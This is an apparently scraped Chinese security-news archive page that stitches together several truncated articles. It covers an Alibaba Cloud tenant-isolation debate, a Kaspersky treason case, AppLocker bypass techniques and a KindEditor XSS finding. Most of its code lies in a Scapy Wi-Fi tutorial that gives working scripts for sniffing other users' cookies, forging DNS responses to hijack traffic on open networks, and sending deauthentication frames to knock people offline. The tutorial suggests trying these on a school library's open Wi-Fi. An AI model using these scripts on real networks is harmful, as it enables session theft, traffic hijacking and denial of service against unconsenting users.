月份:2017年3月
360发布《2016年安卓恶意软件专题报告》钓鱼、勒索和色情最猖獗 每天70万人次感染
扒一扒这两天有关阿里云经典网络安全性的争论
阿里云不同租户不隔离?
2月24日,微博@一乐在微博中提到了阿里云的安全隐患:Cloudflare搞了个大事,这里顺便也提醒大家。千万不要单独评估一个安全漏洞的危害,只要它能干不应该干的事情,就要警惕。 我们前几天也上了一课,一个比特币挖矿程序利用Redis本地提权的漏洞,把我们一个小集群的缓存机器都搞掉了。虽然漏洞刚出的时候,大家还都在说跟自己没关系,我们的Redis都限制内网访问,但是架不住安全组设置错误,这些机器暴露给了其他阿里云用户,也就是说主要某个阿里云邻居用户被黑,他都可以通过扫描进入我们的系统。 问题发现的也很奇葩,这个病毒程序太霸道,它会直接把受影响的Redis权限改掉,导致前端无法访问,这触发了我们的主从自动切换,然后被管理员发现了。他要是偷偷运行,估计还可以潜伏好久(我可不是给他出主意[二哈]) 大家要是感兴趣,这里有个人写过一个类似遭遇知名技术博主@左耳朵耗子在其微博下进行了简单的回复,不晓引发了热议。
1. 新主机加入或变更后需要频繁更改设置(如IP地址) 2. 如果将安全组配置到网段上,则会涉及IP地址段的分配管理 3. 在公有云上不可能分配专用IP因此,左耳朵耗子提出,应该使用VPC进行管理。VPC是一种解决内网多租户互相隔离的方案,全称叫VirtualPrivate Cloud。
“一般来说,VPC是通过hack底层的虚拟化系统完成的,也就是说,在Hypervisor层虚拟交换机中实现了一个类似路由器的东西——通过一个用户自定义的虚拟IP和实际IP的关系做packetforwarding或是overlay的机制等。Anyway,实现细节不重要。”左耳朵耗子希望阿里云能够默认部署VPC:VPC这个事应该是默认为用户开启的,是在VPC上配置安全组,而不是提供VPC和安全组两套可以相互独立网络方案。
安全组究竟安不安全?
处于风暴中心的阿里云自然不能置身事外,阿里云官方发表了一篇有关“安全组功能”的技术博客,并援引2月20日发布的一篇文章,引众多IT圈微博转载。 2月27日,@左耳朵耗子发表文章《关于阿里云经典网络的问题》表示收到了阿里云官方的回复,点燃了新一波热议。 作为曾在阿里巴巴任职的技术专家,左耳朵耗子称,他2013年在阿里商家业务部做聚石塔期间发现阿里云的内网多个租户居然是通的。最后的方案是给聚石塔的租户设置安全组。由于设置的很死,但用户又需要在自己的集群中相互通信,所以,当时的解决方案是,需要用户申请,才开3000-3100的端口范围。注:当时的阿里云是不让用户编辑安全组的,内网是全互通的。如果我没有记错,到了我快要离开阿里的时候(2015年)才让用户可以编辑安全组的。也就是说,按左耳朵耗子的说法,在早期阶段阿里云的内网是存在一段时间能够互通的。 另外,经典网络本身存在安全问题:
1)这种网络结构从设计上不可避免的把多个租户放在同一个内网网段!所以,物理层面上来说就是通的! 2)动用安全组来隔离用户是一种相当复杂的事,复杂的东西就容易出错!因为,网络隔离的手段只有配置安全组。所谓安全组就是iptables的配置!而且是在每台宿组机上配置,大家可以想一下,一台机器可以配置多少这样的规则?这是有限制的!而且是在管理上的很复杂的,不但对用户来说很复杂,我相信对阿里云的开发和运维来说也非常复杂!因此,即便使用了安全组,也无法避免地存在问题。 左耳朵耗子称,使用nmap就能在内网扫到大量主机,可以 ping 通,可以telnet,甚至可以登录,这为黑客留下非常方便的入口:
1) 我本来在公网上扫端口,我分不清哪些IP地址是服务器的,现在好了,上阿里云内网里扫一下,100%都是服务器,效率提高很多啊。 2)另外,经典网络的IP还都是连续的,这太TMD的爽了! 3)我再打个 route 命令看一下路由表,原来还有好多别的内网网段哦。 4)最爽的是,在内网发起攻击,带宽好快啊,而且可能还没安全监控哦…… 5)要是运气好,说不定我还能搞定阿里云的控制系统……
我是说,在座的各位……
昨日,前阿里云高级安全专家、知名云安全研究者 @安全_云舒愤然表示——你们都错了!《租户隔离科普文,阿里云经典网络问题续》: 先说结论:从2009年至今,阿里云不同租户一直默认是隔离的。我的安全哲学是在安全这个专业领域用户是sb(这里的sb用户也包括资深的开发人员在内,区别在于小白知道自己不懂,资深的开发人员则以为自己懂),安全得由我这种专业人士保护。所以可以看见,我设置的策略是不人性化的,是死规矩是一刀切。在安全领域,用户的资产也得由我说了算。
首先云计算VM是讲究漂移的,有因为故障发生的漂移,也有因为用户主动发起的跨区域的漂移。漂移过程中要求保证业务尽量不中断,则需要保证vm的ip地址、mac地址不变,这就意味着需要一个巨大的二层网络,甚至是跨区域的。而二层网络越大,交换设备的cam表压力也越大,甚至爆掉,arp之类的广播风暴也越严重,所以要把vm层面的一些东西对物理交换机屏蔽掉,分层处理。 其次,VPC给用户一种很好的体验,延续传统网络时代自己组网自己规划的那种感觉,当然也可以更灵活的设计自己想要的东西,甚至形成service chain。
“当时有一个很大的安全问题是——阿里云的内网多个租户居然是通的。”
不知道耗子知道不知道,因为一些我不方便说的原因,聚石塔是由淘宝维护负责的电商云,其实是属于同一个租户的!同一个租户,当然是互通的啊。我不知道耗子是知道那个原因不说,因为知道我不可能说,还是真不知道——按说你当时也P9,应该知道吧。不说这个,但是至少,聚石塔所有的vm是属于同一个租户的,你也不知道么?那你负责聚石塔是怎么负责的?也是“anyway,细节不重要”?也许事情到这里也差不多告一段落了,耗子昨日下午在微博也做出了言和回应——初衷也是好的,只是没有深入研究,还不小心踢到了钢板……
百度旗下网站暗藏恶意代码——劫持用户电脑疯狂“收割”流量
卡巴斯基顶级安全专家叛国罪后续:7年前的案子,为何现在才提起?
7年前的陈年往事
路透社援引知情人士的消息称,7年前发起指控的这名商人名为Pavel Vrublevsky——他是欧洲著名的信用卡支付服务公司ChronoPay的创始人。他曾在2010年向FSB等重要政府部门提供了若干人(包括至少一名FSB官员在内)涉嫌叛国罪的证据。 证据显示,文首提到遭到逮捕的几个人涉嫌曾向Verisign等美国公司出售机密信息,这些公司则将机密信息与美国情报机构共享。 实际上Verisign公司有个iDefence团队,该团队会向包括私营企业,政府机构和情报部门在内的客户提供网络犯罪的相关档案。不过,这家公司表示其中的研究并不包含任何机密信息。该公司前分析师Kimberly Zenz表示:“Vrublevsky所说的事情完全没有发生过。” Verisign副总裁,Joshua Ray也否认了这一说法。他拒绝就Stoyanov专门展开评论,但他表示公司以非保密渠道获取信息,同时不会在提供给政府或企业的报告中包含任何涉及国家机密的内容。Vrublevsky说:2010年我们给FSB和俄罗斯的其他重要机构提供了至少一名FSB雇员,以及其他多人叛国的相关证据。
为何现在才提起?
有趣的是,Vrublevsky在提交这些证据后不久,即因涉嫌向商业对手发动网络攻击而遭到逮捕(现已获假释)。他本人否认对于他的这一指控,并归咎于Mikhailov和Stoyanov。据他所说,Mikhailov曾在2010年向Stoyanov泄漏了自己的商业机密。此外另有消息显示,Mikhailov之前曾在私人部门任职顾问,他也是籍此接触到了包括Verisign在内的西方公司。 至今俄罗斯当局还没有就此事发表任何评论,但有网络安全专家认为此举可视为克里姆林宫的强硬表态:俄安全专家与美国政府间任何形式的合作都在禁止之列。在这桩指控沉寂7年之后,俄政府选择在去年年末采取措施无疑是耐人寻味的——当时美国指责俄罗斯背后操纵黑客影响总统大选,此举可否视为对美国政府的反制我们尚不得而知。 另据路透社消息,网上有公开的资料显示:莫斯科地区军事法院已于本月15日驳回了Stoyanov和Fomchenkov的上诉。随后Mikhailov的上诉也在17日遭到驳回。 *参考来源:SecurityAffairs,FB小编cxt编译,转载请注明来自FreeBuf.COMscapy在wlan中的应用
Scapy
又是scapy,这是python的一个网络编程方面的库,它在wlan中也有很强大的应用。一般我们买块网卡,然后aircrack-ng套件爆破一下邻居的密码,其实我们可以用scapy写一些有意思的东西。IEEE802.11
简述
这是WLAN的协议族,有80211b/g/n等等,协议中规定了不同类型的帧(也就是包的类型),分为数据帧、控制帧、管理帧。 控制帧是用来协调信道等提升数据通信可靠性的。 管理帧用来监督、管理加入和退出无线网络的包。 数据帧就是承载上层数据的包。关系
这些帧和scapy中的数据包类的对应关系为: Dot11 三种帧通用的部分 Dot11Beacon Beacon帧,ap用它来宣誓自己的存在 Dot11Elt 与Dot11Beacon一起出现,承载beacon帧中的数据Dot11AssoReq Association Request Dot11AssoResp Association Response Dot11ProbeReq Probe request
Dot11ProbeResp Probe response
Dot11ReassoReq ReassociationRequest
Dot11ReassoResp ReassociationResponse 以上六个都是用来管理station和ap之间关系的管理帧
Dot11Auth Authentication 申请认证身份 Dot11Deauth Deauthentication 解除认证,可以用来dos攻击 Dot11WEP 无线链路承载的上层数据被加密后,放在这里
常见的样子(summary)
Beacon帧: RadioTap / 802.11 Management 8L 11:11:11:11:11:11 > ff:ff:ff:ff:ff:ff / Dot11Beacon / SSID=’CMCC-EDU’ / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt / Dot11Elt 加密后的上层数据: RadioTap / 802.11 Data 0L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11WEP Deauth帧,用来把别人打掉线,很好用: RadioTap / 802.11 Management 12L 11:11:11:11:11:11 > 22:22:22:22:22:22 / Dot11Deauth 未加密的数据帧,开放的wifi里的明文密码就在你的身边划过: RadioTap / Dot11 / Dot11QoS / LLC / SNAP / IP / TCP 10.181.5.237:57556 > 124.116.181.82:http A / Padding 握手包,使用EAPOL协议: RadioTap / Dot11 / Dot11QoS / LLC / SNAP / EAPOL EAPOL-Key / Raw / Padding踩过的坑
系统环境
之前一直喜欢用kali,在优化代码的过程中发现嗅探无线数据包的时候,使用filter参数不能成功过滤到未加密的IP数据包(filter=’ip’)。 各种排查最后发现是操作系统的问题,在新装好的kali里也会出问题,但在ubuntu里是没有问题的。无线环境
平时玩无线的时候当然想一上来看看赤裸的明文数据包,但有时候明明有开放的wifi,却一点明文数据包都抓不到。 受限于硬件,能处理数据包的速率是有限的,如果你周围非常多加密的wifi,很可能网卡就被Beacon帧和各种控制帧淹没了。 所以可以找一个开放wifi多的地方玩,学校图书馆就不错,我们无线校园网都是不加密的嘿嘿。usb无线网卡
我买的网卡基本都是8187芯片的,淘宝京东都有,想挑一挑可以看看aircrack-ng的官网里的推荐。 天线的水很深啊,最好先买块便宜的玩玩再说。先看看别人的cookie
scapy_http
这里又要介绍一个包啦,scapy_http是scapy的一个扩展。 平时我们抓到的包都是IP / TCP / Raw 这样的层次,对http协议的处理很不方便。 scapy_http增加了HTTP、HTTPRequest、HTTPResponse层。 pip安装就可以,import scapy_http.http as HTTP 在scapy之后导入就好。嗅探
sniff(iface='mon0', prn=lambda x:x.summary(), filter='tcp[13:1]==24')
过滤得到tcp flags为 PA的数据包,可以得到类似这样的结果
for i in b:
print i.Host + i.Path
print i.Cookie
print '======================================='
先直观的看一眼
DNS MOST攻击
MOST
MITM(man-in-the-middle)我们经常听到,还有另一种man-on-the-side攻击方法,攻击者通过监听信道,通过时间差注入数据。 还可以用来DDOS,嘿嘿开放wlan中的DNS MOST
想要进行这种攻击,首先要监听信道,上面嗅探cookie已经说明这可以很容易做到。 然后是通过时间差注入,也就是我们要构造恶意的DNS响应包,并在服务器响应前将其返回给客户端 最后可以做到dns劫持一样的效果。如何构造恶意dns响应
首先要想的是如何让客户端(在没有IDS的情况下)认为我构造的数据包就是服务器返回给他的。 也就是最基本的:- dns协议中的id段要从嗅探道的dns请求中取出来,并放到dns响应中去。
其次是scapy中dns响应包的构造,返回自己服务器的ip。
dns请求的IP层的源端口目的端口、源ip目的ip都要交换
80211协议层中的FCfield改为2,意为from-DS,也就是ap发送给station的数据包。
代码
from scapy.all import *
snif_iface = 'mon0'
recv_iface = 'mon0'
cheat_ip = '1.1.1.1'
def prn(pkt):
resp = RadioTap()/Dot11()/LLC()/SNAP()/IP()/UDP(sport=53)/DNS(qr=1,ra=1,ancount=1)
#取出DNS协议层的id
resp[DNS].id = pkt[DNS].id
#构造DNS数据层
resp.qd = pkt.qd
resp[DNS].an = DNSRR(rrname=pkt.qd.name, type='A', rclass='IN',
rdata=cheat_ip)
#交换各地址及端口
resp.FCfield = 2L
resp.addr1, resp.addr2, resp.addr3 = pkt.addr2, pkt.addr1, pkt.addr3
resp.src, resp.dst = pkt.dst, pkt.src
resp.dport = pkt.sport
sendp(resp, iface=send_iface, verbose=False, count=10)
print 'send response to %s for %s'%(resp.dst, resp.qd.qname)
if __name__ == '__main__':
sniff(prn=prn, filter='udp dst port 53', iface=snif_iface)
需要注意
监听的网卡和注入数据包的网卡可以不是同一张,效率会更高
过滤时使用filter参数效率会高很多很多,因为是在内核层面的过滤,使用BPF语法。
sendp发包函数在链路层上发送数据,所以我们可以自定义80211的数据包。
sendp在发送的时候会自动计算好各协议层的校验和,如果你想resp = req.copy()这样构造响应包,一定要注意把各层的长度和校验和设置为None,让它在发送的时候重新计算,不然这个数据包是畸形的。我也写了用copy构造的脚本,但应该贴出的代码的行数更少一些。
两块网卡都要设置在monitor监听模式,具体用airmon-ng等开启监听模式就不赘述了,但一定要注意network-manager、networking等服务对网卡的影响,必要时一定要stop。
最后如何把别人打掉线
Deauthentication帧
这是ap和station中用于中断连接用的帧,而且没有对数据包的来源进行验证。 所以我们可以用它来强制别人掉线,而且还挺不好防的嘿嘿(或者把我笔记本摔掉
代码
pkt1 = Dot11(addr1=client, addr2=ap, addr3=ap)/Dot11Deauth()
pkt2 = Dot11(addr1=ap, addr2=client, addr3=client)/Dot11Deauth()
sendp(pkt1)
sendp(pkt2)
可以先拿自己的手机试一下
其实aireplay -0 1 -a ap_mac -c client_mac iface 也是使用的deauth dos攻击迫使client重连获取握手包
*原创作者:addadd,本文属FreeBuf原创奖励计划,未经许可禁止转载 应用程序白名单和受限Powershell绕过方法详解
HTA攻击
我们先简单说一下HTML应用程序作为攻击向量和Powershell Empire的工作原理。在启动Powershell Empire并创建一个监听器之后,我们创建一个HTA stager,并简单地设置监听器名称和输出文件:
AppLocker和Powershell受限语言
本文讨论的是在AppLocker和“Powershell受限语言模式”为启用状态下如何通过HTA文件获得Empire代理。在此之前先强调一下攻击者获得的结果。如果尝试在计算机上运行一个恶意软件,比如名为Malware.exe的恶意软件,将得到以下提示:
不用Powershell的Powershell
对不使用Powershell.exe运行Powershell命令我们已有研究。想法是,Powershell.exe其实只是.NET程序集System.Management.Automation的一个解释器,完全有可能编写我们自己的解释器来调用该程序集。我们面临的问题是应用程序白名单的存在,因此我们需要以某种方式启动我们的自定义解释器。此外,这个解释器必须运行在一些进程空间,最好把它注入一个现有的进程,而不是创建其自己的进程(代理在使用时其必须保持运行)。我们不妨利用PowerPick项目,其中包含一个名为ReflectivePick的模块,这是一个C ++应用程序,被编译为单个DLL并从System.Management.Automation调用自定义运行空间,这样一来就允许执行Powershell命令。 为了开始测试,我们使用一条简单的命令编译ReflectivePick DLL,以便在运行空间中执行,如下所示:
从InstallUtil.exe调用Powershell
原则上,我们还没有实现任何东西,因为我们现在使用Powershell将DLL加载到调用Powershell的内存中,“受限语言模式”仍将阻止它。但是,我们已经确定,Powershell执行发生在现有进程而不是新进程内。因“受限语言模式”的阻止,我们确实需要克服调用Invoke-ReflectivePEInjection的问题。为实现这一点,我们使用InstallUtil.exe运行自定义EXE,这会创建一个非托管Powershell运行空间。 我们将代码修改为只执行一个预定义的命令,开始只是一些虚设代码,目的是确保其按如下所示有效:
MSHTA.EXE REGSVR32.EXE CERTUTIL.EXE INSTALLUTIL.EXE如果使用的是默认AppLocker规则或所有Microsoft签名的二进制文件是受信任的,则这四个文件都会被列入白名单。该攻击可绕过AppLocker、“Powershell受限语言模式”及AMSI,但不能绕过ScriptBlock Logging,因此可以被检测到,如下所示:
KindEditor开源富文本编辑框架XSS漏洞
0×01 前言
KindEditor 是一套开源的在线HTML编辑器,主要用于让用户在网站上获得所见即所得编辑效果,开发人员可以用 KindEditor 把传统的多行文本输入框(textarea)替换为可视化的富文本输入框。 KindEditor 使用 JavaScript 编写,可以无缝地与 Java、.NET、PHP、ASP等程序集成,比较适合在CMS、商城、论坛、博客、Wiki、电子邮件等互联网应用上使用。 在最近的渗透测试工作中,接触到了KindEditor输入框架,经过几番测试发现代码对XSS的防护还是挺全面的,感觉到底是开源代码,就是不一样,但是总感觉哪里不对,也就边放弃边继续,最终发现该框架还是存在一个XSS注入的问题,而且由于利用框架的时候都会将用户输入存入数据库,并对其他用户进行展示,进而引发了危害巨大的存储型XSS漏洞。0×02 测试过程
首先,你得找到一个(女朋友)使用这种框架的网站,通过查看加载的js文件确认是否包含KindEditor框架(外观如下图):
0×03 源码分析
为了确定是网站开发人员使用的问题还是KindEditor本身的问题,我们前往官网下载它的源代码进行分析。 整个项目的目录结构如下
0×04 总结
从KindEditor的官方网站http://kindeditor.net的案例页面我们可以看到国内还是有很多网站使用了相关技术,下面是一些使用这些网站的厂商。